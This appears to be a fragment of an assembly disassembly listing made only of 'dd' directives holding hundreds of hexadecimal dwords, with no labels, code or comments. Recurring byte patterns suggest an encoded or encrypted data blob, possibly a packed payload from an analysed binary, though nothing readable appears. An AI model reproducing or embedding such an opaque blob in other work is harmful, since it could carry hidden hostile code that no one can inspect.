		dd 2AF15C49h, 1126FC07h, 44C31566h, 62435EFCh, 562DFB7Dh
		dd 0A9F30148h, 2D99FE34h, 4B0E593Dh, 22B39169h,	5DB1566h
		dd 23321566h, 7530BC5Fh, 0A58A2991h, 4A4EFA70h,	68652A3h
		dd 0ADA29B99h, 2232156Bh, 406D9CAEh, 0D4DC1378h, 92D91AF3h
		dd 2DFF2907h, 1133BFE2h, 8EDB7566h, 0A3321566h,	8E1E7C04h
		dd 7021A436h, 88389F69h, 41DB1566h, 50321566h, 1669340h
		dd 0C3DFE5Ah, 443214DFh, 0DFB8759Ah, 3FFB9400h,	61537494h
		dd 44321563h, 0DD32267Fh, 1BBB1A66h, 0E8321566h, 44329C69h
		dd 78651566h, 40CBD607h, 883214DFh, 0F2DB9466h,	230F1B0Ch
		dd 0A7F39497h, 20F1B0Ch, 0F2524C7Fh, 0D8D7371h,	0A56274F5h
		dd 3D13596h, 80B13162h,	2223FC62h, 89B31566h, 74391BA0h
		dd 2635C7E0h, 9438AD2Fh, 9138DFD0h, 0D3D959Dh, 0BBCDEAFCh
		dd 22B51A06h, 0A4321566h, 0D864746Bh, 0F90170DEh, 6762465h
		dd 90694D62h, 35017095h, 45B71A65h, 0D7321566h,	178D4237h
		dd 1321566h, 8F334A9Fh,	0AA5AEC3Fh, 98321569h, 8A8B316Ah
		dd 45321566h, 7B2B1697h, 1132078Fh, 959E5266h, 0EBE9EAE7h
		dd 56797AF4h, 0AAD005ACh, 619D54B2h, 443215F4h,	2232138Fh
		dd 92749166h, 77C25520h, 0FF611410h, 441824E3h,	15164967h
		dd 63B34E3Dh, 221824E3h, 22321B8Fh, 994D1A66h, 0EDCD1E19h
		dd 31266778h, 0D7D3EB9Dh, 1EC9EEE5h, 8832D5E2h,	515AEC66h
		dd 0AB32154Ah, 15B33152h, 345C5642h, 0AFB34E54h, 108E7B25h
		dd 79674593h, 0FDBB0436h, 15C7943Bh, 0AB479C77h, 0E133488Eh
		dd 876A0D65h, 44321DE3h, 0AA3D7566h, 11321566h,	928A4507h
		dd 614EE866h, 3E084EE7h, 0C23E2953h, 7BFB1023h,	8733B372h
		dd 81DBE03Eh, 1ECDEA98h, 883203E1h, 4423FC66h, 0CA901566h
		dd 0C62920E9h, 0DB7B8A64h, 26F5509Bh, 2D4D04EFh, 71334BD0h
		dd 0C1539D8h, 0CC3D4275h, 22321566h, 7752743Dh,	70BA65DDh
		dd 6AD99607h, 0DC569169h, 71CAEA99h, 0A8CAAA00h, 4429FC07h
		dd 0A43D1566h, 11321567h, 894C959Eh, 3B71A98h, 0CBCDEA98h
		dd 11321563h, 0A86BEAAh, 0B898FCBAh, 0A93DEA99h, 11321579h
		dd 882B9969h, 50DB1566h, 0B2321566h, 0A3CCCF26h, 0C29DF63Dh
		dd 0C5AEBCEDh, 0F1B1BC2Eh, 4789530Ah, 4EB3F3EFh, 44321562h
		dd 2236FBE7h, 25B51566h, 0BCBB4942h, 22C77542h,	8B22F3E7h
		dd 0F1BB4507h, 88321163h, 40DA9666h, 7E1611E1h,	0F81619EFh
		dd 88321568h, 5B849085h, 0A1BEB4EAh, 0A94F6A2h,	1617C08h
		dd 40F19485h, 0A3321566h, 1132118Dh, 0AC2E9266h, 602E9C3Ah
		dd 3C807D9Fh, 2DBB1566h, 53D7542h, 4432156Ah, 2232138Eh
		dd 59D7FB66h, 0D33DE8CBh, 0ADF22407h, 22321577h, 0D0E3A359h
		dd 92FBA035h, 0B981B11h, 0C5BFDC28h, 92CBB9E8h,	84BB118Ah
		dd 0CCF39D42h, 0A63D4CADh, 11321575h, 88321B8Fh, 0F6757666h
		dd 554C62ECh, 0F74BD2F4h, 9A03C4Eh, 4432118Ah, 6269C66h
		dd 0FFB26AD0h, 48DCC541h, 0AAB21688h, 78C13573h, 1132058Fh
		dd 27B06C66h, 886A8DB5h, 25F87055h, 0DE7E6BCCh,	0F8C99568h
		dd 41429169h, 42CB1566h, 11319A69h, 3541566h, 898D73BFh
		dd 2D0E747Fh, 11DD9169h, 0B4CB1566h, 69B61A8Fh,	4232156Dh
		dd 0FA0E7493h, 87089169h, 78CB1566h, 0B9B61A85h, 0F8321565h
		dd 8832156Ah, 55A661BBh, 63FFE5BAh, 0BAC4B580h,	0C3DF75Ah
		dd 443205ADh, 678B7306h, 113FFCACh, 24C11566h, 0BF4B872Fh
		dd 0DF52D184h, 70FEF562h, 0D91629EDh, 85B3F4EFh, 22321562h
		dd 9636D4E5h, 746E316Ah, 141609EDh, 2637F5EFh, 14321566h
		dd 88321562h, 181611E1h, 26B01A06h, 77321566h, 61D8BDDDh
		dd 44321574h, 0EC9D52D0h, 0A745273Eh, 6D13EC7Fh, 0A9B84557h
		dd 0A9532669h, 9865316Ah, 8CF59481h, 0C7321566h, 1EB511A1h
		dd 9ACA4942h, 1643152h,	40F49480h, 0A3321566h, 113211A0h
		dd 0AC069266h, 443FFC3Ah, 0A291566h, 0D773B862h, 4988E4F3h
		dd 87963580h, 2239FD06h, 7B021566h, 436C22FFh, 9B3082BCh
		dd 34E994C8h, 4A58E92Eh, 0FCB7D207h, 42340E1Fh,	2D321566h
		dd 11321DE8h, 8AB11A66h, 24321566h, 22884707h, 90321566h
		dd 0B921C3A4h, 0C5C01459h, 1321C38Ch, 4B289F59h, 8832138Fh
		dd 0EBD5C166h, 4234A008h, 11369669h, 33541566h,	2253D506h
		dd 2C2A037h, 1DB9738Dh,	8AF69442h, 0AD321566h, 22321576h
		dd 649750CDh, 0A4F92D44h, 8B3111F0h, 0DC9AC659h, 1EB2EEE6h
		dd 77CCFEE3h, 443DFC99h, 57671566h, 0F6FF7334h,	9FF92428h
		dd 0BFA1CD5Ah, 0DD8F400Ah, 10CDEA99h, 9ADB4888h, 37321566h
		dd 2A488AFBh, 0C00931A7h, 36C67B8Ah, 2271EB2Bh,	0D7B79E7Ah
		dd 0ED340162h, 9B9380EDh, 12CB1372h, 0A11609EDh, 0F85211A2h
		dd 8832156Dh, 0DA6708BEh, 3AA9F756h, 0EDDAB338h, 8E8C4307h
		dd 45321566h, 6069E95h,	1136D1E7h, 73D1566h, 44321573h
		dd 2232058Fh, 0AFFE4066h, 403E57B3h, 2415507Bh,	0EB865D60h
		dd 0A863ED1Dh, 88321564h
		dd 3525FCE7h, 0D3336D5Bh, 6025D4E7h, 91316D5Bh,	54B41A3Fh
		dd 42321566h, 1132138Fh, 0D6537C66h, 4B6BDAABh,	1953D3D1h
		dd 48B01ABEh, 87321566h, 443236EAh, 2EDB7566h, 0E5321566h
		dd 0DD400C17h, 5D277C3Bh, 0CB10CB78h, 1132156Dh, 0A4FED68Bh
		dd 95C5B9C7h, 431A9676h, 1132068Fh, 0D5135466h,	947827BBh
		dd 0FA6E565Ah, 0BFE572D5h, 0ABAB9A2h, 0C23DCF5Dh, 0DDCDE882h
		dd 11321F8Fh, 913A3766h, 867DFB2Dh, 0D715547Ah,	6E71AB30h
		dd 7B333F99h, 0C5C93C38h, 0DD4D568Dh, 1134FC4Ch, 9821566h
		dd 88248772h, 0AB36F9E5h, 178F314Ah, 0A1321566h, 41DB488Dh
		dd 0B8321566h, 0C5D9D081h, 7D52B800h, 2253F6D2h, 0FA03ECCDh
		dd 0C903D657h, 8832068Fh, 0FCF5FE66h, 0E4C4D08Eh, 3A89222Ah
		dd 0F4891F21h, 15C44301h, 223FFCCDh, 1CAC1566h,	9F6A8CA3h
		dd 57764005h, 7375E6F7h, 113211DFh, 4FDC9466h, 4543A238h
		dd 0E5F494A8h, 4843A238h, 88359069h, 0CA3D1566h, 22321567h
		dd 350E9C9Fh, 8832108Fh, 0CA08AF66h, 56BB95C3h,	98C71942h
		dd 9C13A0D3h, 43B41A60h, 42321566h, 0AE3D23D4h,	0B4B974BCh
		dd 0A6BB4742h, 2236D7E7h, 0D3B11566h, 0AC269262h, 0BBCBE03Ah
		dd 0A1693152h, 425211A2h, 0D7C3A269h, 818A7306h, 43537568h
		dd 353E9E07h, 9D79C33h,	443211A3h, 26F79666h, 4D1639E1h
		dd 88321F8Fh, 0B8E51066h, 0BAD01234h, 9A15E017h, 1653152h
		dd 40F59481h, 0A3321566h, 113211A1h, 0AC0E9266h, 0CD64ED3Ah
		dd 26F49480h, 92321566h, 0BC0111A0h, 60062442h,	7E162155h
		dd 0CEEAFC9Eh, 0EE52EA99h, 0D01FD5E7h, 0A7F57493h, 17296C12h
		dd 88321564h, 0B4BB459Fh, 0DB6A4E36h, 0E93CA369h, 87B2ECE6h
		dd 44324EE5h, 223EFC66h, 0A0901566h, 9512E026h,	0E8BBB20Bh
		dd 9C647779h, 9063AFh, 896CE667h, 8DD994ADh, 0DE23B710h
		dd 0EECDAB30h, 7B1BEA99h, 59B01A38h, 2D321566h,	113202E0h
		dd 8820FC66h, 4FB01566h, 0DD906876h, 0D4ECDE14h, 0CB8FDD4Ah
		dd 3EBBE849h, 2232988Fh, 9152EC66h, 0E9CB08A4h,	0E7834435h
		dd 0D43AFCA6h, 91EBE3BFh, 47BACB97h, 0C4E5E33Fh, 0C5F283A1h
		dd 0EF59563h, 0E869EC4Eh, 4432108Fh, 0BDB73766h, 0AE546AF4h
		dd 7F53C518h, 45F396B7h, 22321F8Fh, 0DA723266h,	9EA37972h
		dd 2C4AE567h, 223236BCh, 0AB1601EFh, 88321599h,	0B168C447h
		dd 22339B69h, 41CB1566h, 3B7E44DEh, 4CD2D411h, 25D2D42Eh
		dd 5934F5A7h, 0C5407E63h, 1CF13CA3h, 0E1B3DE4Fh, 5E5F470Ch
		dd 8832108Fh, 0B1942066h, 0A7B99AD0h, 17261193h, 29A79E93h
		dd 0BC340175h, 4407A506h, 7007C5D8h, 922FA8E5h,	4B331372h
		dd 223680E2h, 1EDBED66h, 57321566h, 49FC860h, 0FF2FC577h
		dd 62294414h, 4B0B1285h, 404A9769h, 0A23D1566h,	11321572h
		dd 88321A8Fh, 0ABF25C66h, 8F292EA0h, 0F8F9B698h, 14A9A93h
		dd 0C63DC65Fh, 0DDCDEE52h, 17B51A06h, 87321566h, 443215EAh
		dd 223EFC66h, 0F6A01566h, 0ABCC382Bh, 9D178E73h, 0CB53F7B7h
		dd 11321154h, 8838FD06h, 320E1566h, 636D2C7Fh, 0A6C9D9E6h
		dd 7F46C3E7h, 0CF697A6Fh, 0A7F5749Dh, 17296C12h, 88321564h
		dd 44259C69h, 0AC3D1566h, 11321577h, 8832198Fh,	0E2A95566h
		dd 0B0EC1B25h, 668A990Eh, 8EDB757Ah, 8B321566h,	758A796Bh
		dd 6AE4950Dh, 94B94307h, 40F69642h, 22359B69h, 933D1566h
		dd 88321567h, 43BF1A9Fh, 2D321566h, 113214E7h, 3E3DE966h
		dd 0BDB2ED68h, 4FB11AE6h, 0ED321566h, 0A44FD6E7h, 87B3448Fh
		dd 69D69CBh, 0FAB3DE67h, 0AC9D69CBh, 684FFEE7h,	25DB448Fh
		dd 89321566h, 522FB297h, 0C561094Fh, 0DDCD314Ah, 0F869EA99h
		dd 88321572h, 0C208178Eh, 0F47EA296h, 0B3CB22Ah, 0E659B890h
		dd 0F8454D9Fh, 2232B28Fh, 0C8B87566h, 88321C8Fh, 7EDC6966h
		dd 0BC776F7Ch, 71530206h, 0B7A7B8DCh, 4BE2947Ch, 434153E4h
		dd 91CAA136h, 64B2C8AAh, 0FCDB9598h, 0E3B2F44Eh, 963D4DDEh
		dd 8832156Eh, 44BA1A06h, 43321566h, 0C4C5FCE1h,	0E873FCE1h
		dd 25E2CFE6h, 22CDAB30h, 0E0131566h, 0B1621EDh,	0CF3D11A2h
		dd 2232156Bh, 792DAB06h, 7BB31D52h, 5D5B8E16h, 0CF8B4407h
		dd 900EF17Ah, 1723F68Fh, 85B3542Ch, 14A204DDh, 0F8F3CC91h
		dd 44C39462h, 6D6E26D4h, 0E91B4CADh, 0DCDD6E7h,	87524427h
		dd 0AD53CBD1h, 2232156Eh, 9AE49025h, 9A67EC93h,	40C790EDh
		dd 32DB1372h, 6F321566h, 0D55D4115h, 6EFB306Dh,	49FBD1F7h
		dd 9A36848Ch, 9C21B4F3h, 0A4B37560h, 24CF4E99h,	0ACB1749Eh
		dd 8E260F7Bh, 0C3B61A67h, 42321564h, 0AE684706h, 87BC928Dh
		dd 4422FD07h, 7F31566h,	3A114121h, 0E942F7C9h, 8EAE4941h
		dd 4081284Eh, 0C909743Fh, 882A9769h, 7DC71566h,	13B41AB5h
		dd 71CDEA9Fh, 88309569h, 25521566h, 0EC6203DDh,	0AA617459h
		dd 77CDEA99h, 0B169CB67h, 0A2DAA037h, 0F4B2C08Bh, 84C79505h
		dd 0CCDC9D34h, 0CB6B4F96h, 11321574h, 9DA1273Ah, 77F2C86Dh
		dd 8E61BFFh, 962BD918h,	8798E0C7h, 443219EBh, 2235FC66h
		dd 60421566h, 0DEBC383Bh, 448A45D9h, 23321566h,	11884796h
		dd 89321566h, 1E389FA4h, 953D753Eh, 0A261749Dh,	0A00CA5D8h
		dd 602E9EBEh, 2236D1E7h, 0F8CE1566h, 88321577h,	2010FCF8h
		dd 8F517A1Ch, 5C365D10h, 0EE6B373Ah, 0F56346BCh, 8ED395BBh
		dd 9137FCA6h, 49B21A8Fh, 1DF99D7Ch, 4269CC46h, 1122FC06h
		dd 299E1566h, 4705B14Ah, 0F38E5076h, 0F14A4509h, 83D2156h
		dd 44321566h, 0CBB37307h, 1953D955h, 57B275AEh,	25E89E7Bh
		dd 985475CCh, 70CE44E5h, 0E6F4D6E7h, 87B36290h,	54202DB9h
		dd 0FAB3EE4Fh, 0FE202DB9h, 2AF4FEE7h, 72C76290h, 1132110Eh
		dd 4B1B4D66h, 1762E03Eh, 62E9E3Eh, 1136D1E7h, 61521566h
		dd 4432156Fh, 975CBA81h, 0D4779E60h, 8CB61AE7h,	22321566h
		dd 432F65D8h, 0EB61ACDh, 87321566h, 44320CE9h, 2226FC66h
		dd 0FD3A1566h, 6CBD8491h, 2CF8C9E5h, 7D8EBE72h,	0BE8D088Ch
		dd 356754D0h, 44321564h, 56DDD3E7h, 0FF3346ECh,	0FCDDFBE7h
		dd 0BD6F46ECh, 97879C9Fh, 0F8340147h, 88321574h, 0C63D2384h
		dd 0FF5A8C13h, 0D8E2A889h, 0D7663649h, 0C1F5D154h, 24260F7Bh
		dd 11321567h, 8CDE949Fh, 0CD321566h, 0C4BB3152h, 1136D3E7h
		dd 4EB11566h, 60069262h, 23B11A3Ah, 0E4321566h,	0D3162199h
		dd 4436D1E7h, 0A83D1566h, 11321568h, 8FE39406h,	4B4F7362h
		dd 223215E6h, 25CD7466h, 4CB34C42h, 44321562h, 0C3BB4493h
		dd 1136D4E7h, 49B11566h, 30CD4462h, 0AD6B1142h,	716E3162h
		dd 34F8C4E7h, 4ADB49D4h, 0E0321566h, 1075DDE0h,	3E7032D1h
		dd 8A96398h, 0AB60741Ch, 6A894684h, 9139613h, 0D6069B95h
		dd 30F99423h, 903D0354h, 9718868Dh, 0B7B35E23h,	0BCA5C01h
		dd 9269CF67h, 9CB511A4h, 0C13D4942h, 22321565h,	0F853E006h
		dd 77CDCF40h, 44321C8Fh, 0E13EBE66h, 0FF075DBBh, 3260C377h
		dd 3F7A0CCCh, 39D8942Ch, 9026E509h, 40BF1A4h, 0CBF09447h
		dd 0B4A097Dh, 9A3D4FB0h, 8832156Eh, 44309869h, 43521566h
		dd 0DF8D1A06h, 0E053ECECh, 443274AEh, 951609EFh, 14D5D58Dh
		dd 48D0D2E6h, 0A3F21681h, 0CBF59561h, 0F869EDEEh, 88321561h
		dd 0FC80EB4h, 88A8EEF7h, 9865ED9Fh, 3CA9C91h, 80B1315Ah
		dd 223DFC62h, 32521566h, 0FA226FB1h, 0D2BA15A0h, 85D5ECEh
		dd 428D42A1h, 0A15F0075h
		dd 0BC1B4A9Eh, 37214663h, 1CDBED0Bh, 42321566h,	27336E2Ah
		dd 499BB5F9h, 1207F26Ch, 8836F9E7h, 68BB1566h, 2236A842h
		dd 0F91B1566h, 80BD1A3Bh, 24321566h, 995420D5h,	1E533225h
		dd 883219E4h, 42B41A66h, 2D321566h, 113215EBh, 74CBBE66h
		dd 0C5D79C33h, 223211A3h, 15F79666h, 0B9163955h, 6801314Ah
		dd 30DB4942h, 91321566h, 209A587Eh, 8BA7899Bh, 9C7D0F57h
		dd 0EDD54E10h, 8823FCA4h, 48CD1566h, 0B9B1A491h, 4EB8BF3Dh
		dd 3A0460Eh, 0CFE38737h, 0AB60317Ah, 15F09484h,	9321566h
		dd 443211A4h, 6269266h,	2681753Ah, 0AC06EA07h, 40F6943Fh
		dd 0DA321566h, 1123FD06h, 47A11566h, 0FC800829h, 7C44EE4Bh
		dd 82A63B92h, 0D0323D51h, 443E9D69h, 24DA1566h,	37321566h
		dd 7F6D2A8Dh, 0BB534BECh, 0A16C3152h, 993D11A2h, 88321575h
		dd 44321B8Fh, 266D8366h, 8E3F3D5Ch, 2629F3CCh, 4BEB26E6h
		dd 22321DE4h, 13B61A66h, 0E8321566h, 0A5BB4407h, 2236D4E7h
		dd 0D0B11566h, 0FCCD4462h, 0CB6B1142h, 0CB6E3162h, 11321563h
		dd 77543A0h, 9F12FC5Ch,	0A83DEA99h, 1132156Eh, 88309369h
		dd 25521566h, 5B4690A1h, 1137137Dh, 0EE521566h,	0C52CC9DCh
		dd 0BDFD96ACh, 0F8527448h, 88321563h, 1EADA80Ah, 0EDB37362h
		dd 4753AE3Fh, 691621E7h, 0CF3F027Ah, 0E6B1317Ah, 0F0C19462h
		dd 613F027Ah, 4432156Ch, 0E2E26B00h, 78377A8Ah,	0E064C1CBh
		dd 44321562h, 7CC11438h, 113F9369h, 87521566h, 443215E2h
		dd 0F4B37366h, 4053CD05h, 0A11DA3DFh, 44DB9478h, 6B06D834h
		dd 3379D4E7h, 793303C2h, 0B86B0C65h, 26C790EDh,	933D1372h
		dd 8832156Fh, 0C7F19406h, 0DE4A733Ah, 0B0A79E07h, 61340175h
		dd 44321561h, 502EB074h, 433C781Ch, 883214DCh, 1EE43C66h
		dd 2232068Fh, 2EABF766h, 0A6B13B5Bh, 0CB6EFD4Fh, 50BD1A9Fh
		dd 0BB5E025Dh, 9AD3A8E5h, 4B331372h, 223480E2h,	0C909EC66h
		dd 880D9769h, 0CF3D1566h, 2232157Fh, 11219C69h,	86DB1566h
		dd 29321566h, 0B3C0A13Dh, 168468DAh, 0DC8DC920h, 9E09ECBDh
		dd 23309369h, 903D1566h, 88321577h, 4432198Fh, 0B0FD3566h
		dd 5F29D329h, 0EBAA813Bh, 0F1879C82h, 0CB340147h, 11321560h
		dd 0E26D290Ah, 0D9B978A8h, 24296C12h, 355E949Eh, 0C847436Ah
		dd 606E140Bh, 7488476Ah, 105F5513h, 0D2223132h,	0FC8C7306h
		dd 1AF69509h, 1EDBE907h, 61321560h, 44321576h, 0E00639B7h
		dd 4D0EEEA5h, 0FD6481E5h, 3BB38873h, 7D162199h,	1136D1E7h
		dd 4FCE1566h, 5020F4E3h, 22321460h, 0DF8D7566h,	71746F28h
		dd 6006EA07h, 26F6943Dh, 1E321566h, 883214ECh, 48B9E966h
		dd 0C3BB4442h, 1136D4E7h, 49B31566h, 44321562h,	7E1619E1h
		dd 1132068Fh, 0CBE33D66h, 7C9D3405h, 51A386A8h,	0B0A1CB17h
		dd 8A515BAFh, 1A162199h, 2236D1E7h, 92CE1566h, 84BB118Ah
		dd 0C5D39C42h, 223211A7h, 15F39666h, 0D41619E1h, 45BD1A9Eh
		dd 0DA321566h, 0EEE44C8Fh, 0D38D7599h, 155028B5h, 2624F4E7h
		dd 706A45ACh, 922FA8E5h, 4B331372h, 223740E2h, 1126FC66h
		dd 34F01566h, 37C866E2h, 8B6C076h, 2F20C0E8h, 9162A3EAh
		dd 43DBD6E5h, 0CC321566h, 75888756h, 1519EA34h,	42261193h
		dd 2232068Fh, 0F4C78A66h, 1A46262Bh, 74891BD0h,	0AEFEB67Fh
		dd 8848D31Ah, 908798EDh, 22521372h, 0D275CBE7h,	1132048Fh
		dd 0ABAFBA66h, 847B4F24h, 3909D389h, 0DA91EBCBh, 7453E08Fh
		dd 316DD4E7h, 0FB3310DCh, 646DAA31h, 711B10DCh,	4420FC39h
		dd 73191566h, 0FE756354h, 51815F41h, 0B7D9CF81h, 1985E0E7h
		dd 77AFD4E7h, 61B32F93h, 548504Ch, 0E3B3EC4Fh, 5048504Ch
		dd 0EEAFFCE7h, 0CC3D2F93h, 2232156Eh, 11309E69h, 0E9521566h
		dd 44321B8Fh, 0CC835D66h, 89BAE7B3h, 0FE8F5891h, 1161A8BEh
		dd 6C03AC37h, 278F667Ch, 0A1410F28h, 0AD1B4CABh, 27B81A3Bh
		dd 71321566h, 0E95FD9E6h, 24CA9E06h, 2DF49E00h,	113215EBh
		dd 0DB537466h, 0A88210D1h, 3EB9ED56h, 15F69642h, 4BB97306h
		dd 0B1657507h, 2226FD3Fh, 0EF61566h, 463DA7ECh,	27C06B1Eh
		dd 402ADAE0h, 0A36F6182h, 0A28A919Eh, 1C5B580Fh, 0A93DBF07h
		dd 11321567h, 0D852759Eh, 680DAB3Eh, 44531F22h,	519E4E7h
		dd 3634507h, 80B33162h,	22321562h, 7752E03Fh, 614702D9h
		dd 4432156Ah, 0D5C83A4Ch, 0DC720CD9h, 3D8270F7h, 0BC52BE07h
		dd 22349769h, 923D1566h, 88321566h, 0A7BB4607h,	2236D6E7h
		dd 0D2B11566h, 0FCCD4662h, 0CB691142h, 0DB6E3162h, 4A162199h
		dd 8836D1E7h, 0BBC71566h, 0A16B3152h, 5DB11A2h,	0A4321566h
		dd 92B1439Ch, 59C9F54Fh, 0FFEF7460h, 0C056BD4Fh, 0BBC29254h
		dd 0A36C3152h, 113211A2h, 8834FC66h, 0BCFA1566h, 2A317AFCh
		dd 1136F9E7h, 0A4BB1566h, 0C5D79C42h, 223211A3h, 15F79666h
		dd 0D41639E1h, 4432128Fh, 6E1A6666h, 133C8AB7h,	5F36FC93h
		dd 41DBEA99h, 95321566h, 0B2D018Ah, 0F14690A1h,	4430137Dh
		dd 0A73D1566h, 11321575h, 61F19E06h, 4432156Ch,	72BD486Dh
		dd 0A6A7813Eh, 875372BDh, 443200E1h, 2222FC66h,	0DB521566h
		dd 0B7F7D6D2h, 2F6801EFh, 0D548094Bh, 9A64DE59h, 4CB3317Ah
		dd 44321562h, 223AFC06h, 18C11566h, 82DC9910h, 4B533A0Ah
		dd 0CB521BD0h, 1132156Eh, 0F35D97DFh, 440FC47Ch, 7B5DA9DFh
		dd 1EDB746Fh, 0C0321566h, 480EDE4Eh, 4BB2D1E4h,	6F517F74h
		dd 71B2AFADh, 1EB11AE6h, 0DB321566h, 552FD6E7h,	4BB308FBh
		dd 659477CEh, 0C9B3DE67h, 309477CEh, 0CC2FFEE7h, 43DB08FBh
		dd 0FD321566h, 72E55768h, 356779F3h, 0BBCDEA99h, 0CB6FFE4Fh
		dd 1132156Eh, 0EBCFECEBh, 728DFB1Dh, 2232A18Fh,	14DA7566h
		dd 0CA321566h, 995DC14Fh, 22329969h, 0AE6B1566h, 0D731BF70h
		dd 0BB824507h, 26B9D44Eh, 15F69442h, 87321566h,	44321DE4h
		dd 20B91A66h, 71321566h, 84CD4407h, 95C54C42h, 26DE949Ah
		dd 98321566h, 778F314Ah, 65321566h, 29DB488Fh, 67321566h
		dd 15807535h, 0A8E5602Eh, 25DB1752h, 13321566h,	4E90CFEAh
		dd 0FD63F9D6h, 58E96672h, 9030FCA7h, 0D035AB8Fh, 0B3E3E266h
		dd 0B3C394BFh, 102F129Ch, 431B4CADh, 6BABFEE7h,	2DDB163Fh
		dd 8F321566h, 0F8AFFFB9h, 77DF7314h, 600893F2h,	933DAC2Dh
		dd 8832156Bh, 44321D8Fh, 0FA777166h, 0E9212844h, 7DB79E59h
		dd 0AD340162h, 22321568h, 0F8220229h, 1F57AB3Ah, 23960951h
		dd 0B7B975A8h, 172606C7h, 72DBFC9Eh, 0C43DEA99h, 22321561h
		dd 11339D69h, 4FCA1566h, 5F4B61E3h, 22321760h, 1121FC66h
		dd 5C781566h, 78DF410h,	0D09182D7h, 0CE91A7F0h,	612D2C3Fh
		dd 0B1BB40F7h, 0EB9FEEFh, 15F69442h, 74321566h,	0F564E006h
		dd 2D534A0Fh, 2DB1BD0h,	0D321566h, 7BFBD575h, 6865D40Bh
		dd 950E16A5h, 0FDB8DD95h, 0BDB22677h, 4BB11AE6h, 1E321566h
		dd 883212E0h, 45BA1A66h, 0DA321566h, 1549FEE7h,	433361A2h
		dd 2A68AC37h, 0D3B3769Fh, 60F7F47h, 0E86BDE67h,	4432138Fh
		dd 0FDA69F66h, 70384626h, 93D2AF34h, 0A6F3620Bh, 0B0F09461h
		dd 0E67E4B22h, 49E8E2B4h, 0B6B3178Ch, 0DD76E7BDh, 1E68C64Fh
		dd 883212E5h, 45B81A66h, 0DE321566h, 11327B8Fh,	373D7566h
		dd 25EA9EB5h, 0DD814600h, 399FFCE6h, 25F395BFh,	0C03D4E00h
		dd 2232157Fh, 1132018Fh, 1DA79766h, 9D506228h, 0AC3B4E76h
		dd 663C2F5Ch, 290CD4C4h
		dd 0C3E3E2E8h, 0D3B55397h, 0C3B37306h, 0E053C477h, 443260DDh
		dd 9C1621EFh, 11321599h, 746CE447h, 6AA4FEE7h, 0E1B34F8Ah
		dd 486C4D06h, 63B3DE4Fh, 1D6C4D06h, 0CA4D6E7h, 9ACE4F8Ah
		dd 9C36E0E3h, 45BE1A60h, 0DE321566h, 0B0A79E9Eh, 74340175h
		dd 5E2FA8E5h, 2D331372h, 0EEC534E2h, 8838FC99h,	0D1301566h
		dd 9CFCA873h, 4D3BFC81h, 0A3DCD5Dh, 44321579h, 2DE12C93h
		dd 0EEDFCAE0h, 0D3D7599h, 44321565h, 42ECAA69h,	11329169h
		dd 3541566h, 0C75374B9h, 16BB118Ah, 353EEA42h, 883EFC38h
		dd 527E1566h, 0A8E27D70h, 0D4534B0Bh, 165D643h,	0CFCB9C91h
		dd 0E6B1315Ah, 0A962E062h, 0F9723897h, 0B05FAA43h, 0EA5D3867h
		dd 0D033BEA6h, 9CB3C3Eh, 3B57578Fh, 7261E033h, 0B773DF0Eh
		dd 0C9174D7Eh, 7163FD53h, 32921423h, 386AD6EFh,	74C74EBFh
		dd 0DD834435h, 0DC5DF4E6h, 91E3E3AFh, 79B2DCA7h, 1DFD9D4Fh
		dd 4269EDEEh, 11279469h, 98DB1566h, 3321566h, 7C035EBCh
		dd 0CE2049FBh, 0F2DF2258h, 4B5E8918h, 0D753CDD1h, 0AF5475CCh
		dd 87534CF4h, 44321DE9h, 20BD1A66h, 71321566h, 0B9FA2407h
		dd 0B1FA24A7h, 2226FCCDh, 35471566h, 0A651CF89h, 307038AFh
		dd 0D8011E45h, 0BDC42E55h, 0B3DAA84h, 44321563h, 0F3851A06h
		dd 0C3DAFC07h, 0E8C7EA99h, 8985FAE7h, 99544094h, 40533F5Ah
		dd 883215DFh, 17C31466h, 223215DDh, 9BF91466h, 0E86B4E65h
		dd 65E39400h, 0D4851AEAh, 1EDA2907h, 883246E2h,	4EDB7566h
		dd 10321566h, 4AB374A4h, 0EFD99B8Eh, 0AD53EC79h, 22321561h
		dd 0B229747Ah, 0DB011CB0h, 0B561500Eh, 0E1B34E0Dh, 853CB9DDh
		dd 94B9CDEFh, 40F69642h, 2226FC9Fh, 71D51566h, 9EC693A0h
		dd 0F235F348h, 9A4A2D0Fh, 2777B735h, 1BDB69EEh,	0BC321567h
		dd 0A3D59C31h, 113211A1h, 8CDD9666h, 181629E1h,	421609EFh
		dd 11309769h, 0EA801566h, 4432048Fh, 0C1BCC566h, 25245F96h
		dd 0AAB7525Ah, 49C102CEh, 0A15381AEh, 25BB118Ah, 0AC069442h
		dd 629F4D71h, 35C1943Dh, 0ED14B83Eh, 8833AC37h,	0B5331566h
		dd 2232AF34h, 0DB331566h, 0D1680F65h, 443BFC06h, 64331566h
		dd 0AD50D5C0h, 0E84AC142h, 25FAA269h, 11D97D07h, 1DBB1566h
		dd 8837AC42h, 8F331566h, 33BE1A3Fh, 0F8321566h,	8832156Ah
		dd 0CC3B882Bh, 0D91E8BBFh, 79BAF7B1h, 7D864535h, 0BA2AF9E6h
		dd 7CF695A2h, 9131F1A6h, 6BBA98A2h, 0C4F1EB3Eh,	0C9B2018Dh
		dd 4AEA9D14h, 88359169h, 0C83D1566h, 22321567h,	913DBF9Eh
		dd 88321576h, 44321E8Fh, 0D473A866h, 0D8251B7Ch, 4EE60F72h
		dd 47A0FEE7h, 0D91B4017h, 12A0AF34h, 5B334017h,	355AEC3Ch
		dd 0AB321507h, 158A3162h, 0A1321566h, 22524DA5h, 2D3E52DFh
		dd 2053DFD1h, 0B9F124BEh, 49DB75BEh, 3E321566h,	0E3806A1h
		dd 653F2396h, 0BA1A302Eh, 9D3DE906h, 0BA5374A8h, 88299969h
		dd 22521566h, 33DBD3EDh, 5F321566h, 5F31D92Eh, 99D9593Ch
		dd 68B54906h, 0BB494A75h, 0AC06EA07h, 40F6943Dh, 42321566h
		dd 0FE2EFCE7h, 8521C8Fh, 0CC3DCE94h, 22321566h,	0AB607407h
		dd 88321563h, 50B9C367h, 26F69442h, 0E4321566h,	0A278EBDEh
		dd 43D2D429h, 9860C591h, 7BE89598h, 0E868C557h,	86B9429Ah
		dd 42F1743Fh, 11321C8Eh, 0CE0A6266h, 5B5C6C19h,	0AB8A6C92h
		dd 4E04D888h, 98D19400h, 155A7491h, 0AB321571h,	923D316Ah
		dd 88321561h, 44339669h, 44CB1566h, 9A542399h, 4CB33162h
		dd 44321564h, 22321F8Fh, 70176666h, 0C0D23524h,	78D20338h
		dd 0BB61AA5h, 0F8321567h, 88321574h, 882201C9h,	26531A0Dh
